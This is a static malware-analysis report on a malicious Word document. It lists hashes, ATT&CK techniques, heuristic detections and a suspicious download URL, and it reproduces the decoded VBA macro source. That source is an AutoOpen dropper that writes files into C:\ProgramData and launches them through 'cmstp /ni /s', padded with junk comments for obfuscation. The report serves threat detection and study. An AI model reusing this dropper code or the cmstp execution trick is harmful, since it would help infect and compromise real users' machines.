Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 af58ada5537b14ce…

MALICIOUS

Office (OOXML)

59.6 KB Created: 2020-03-03 08:40:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-07-24
MD5: c29319e3c33b8c863375eb67e8335f12 SHA-1: 7d593a1886b85cdca2c3a05157180a852756d71a SHA-256: af58ada5537b14ce659deef22d90dc5f4e0d9911cc44f998d87e16c7e1acc126
230 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro executes a main function which uses CreateObject to interact with Word, then writes content to 'C:\ProgramData\aUOR5.inf' and 'C:\ProgramData\a4sUm2.sct'. This indicates the document's purpose is to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.AllBlue00-7730449-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.AllBlue00-7730449-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    ' Accidents mortality shed windy
    a7D3a = Shell("cmstp /ni /s C:\ProgramData\aUOR5.inf")
    End Sub
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set abuOt = frm.TextBox3
    Set objWord = CreateObject("Word.Application")
    With objWord
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "aVhEOA"
    Sub AutoOpen()
    main
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://bomihnbq3do45.com/nra962sc0/ft2dol9oy.php?l=cav7.cab In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2253 bytes
SHA-256: e7b41ccdf710c9027827b68107032e957e758e3485e56882d61236d73be3ac55
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "aVhEOA"
Sub AutoOpen()
main
End Sub

Attribute VB_Name = "alEmsq"
'Private const aVrnX As String = "ridniw"
Public Function adWTj(ayTZ1, aEkXQ)
' Gunshot somali hoops human
' Ordinary stability
' Short-lived
' Chalice comport
' Handles absinthe
' Looting style di reproduce
' Abduction thracian reform sussex
' Organizing chick bloggers dictation
' Alluvial stripe vhs printer
' Imprint reveals bare discrepancy phosphate
' Perverted torah recovered nicholas
' Denounce sullivan demure
Open ayTZ1 For Output As #1
Print #1, aEkXQ
Close #1
End Function

Attribute VB_Name = "aoVkYj"
#If VBA7 Then
    Public Declare PtrSafe Sub Sleep Lib "kernel32" (ByVal Milliseconds As LongPtr)
#Else
    Public Declare Sub Sleep Lib "kernel32" (ByVal Milliseconds As Long)
#End If
Sub main()
' Graham rw
' Dropsy grinder
' Sanctify minneapolis lick generator insert philips
' Sulkily collected
' Casket swooping folklore
Dim ayOlf
Set ayOlf = frm.TextBox1
Dim awrpF
Set awrpF = frm.TextBox2
Dim abuOt
Set abuOt = frm.TextBox3
Set objWord = CreateObject("Word.Application")
With objWord
.Visible = False
.Application.DisplayAlerts = False
.Documents.Add
.Selection.TypeText abuOt.value
.Selection.WholeStory
.Selection.Copy
' Cuff cynic
' Glean statement bane partners
End With
' Pedant paid victory partridge
' Dyke
adWTj "C:\ProgramData\aUOR5.inf", ayOlf.value
adWTj "C:\ProgramData\a4sUm2.sct", awrpF.value
Sleep 3000
' Scholarship lucy alumina digs afterthought
' Accidents mortality shed windy
a7D3a = Shell("cmstp /ni /s C:\ProgramData\aUOR5.inf")
End Sub

Attribute VB_Name = "frm"
Attribute VB_Base = "0{42F8E697-DDEE-45C2-B002-076154B7F842}{F4E0973C-C775-4347-A336-67545552FD57}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 27136 bytes
SHA-256: 1ab1501830486d4cf69ecd969b922bdca9f12e53ce77a32cff2d6164c75dc1f4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s).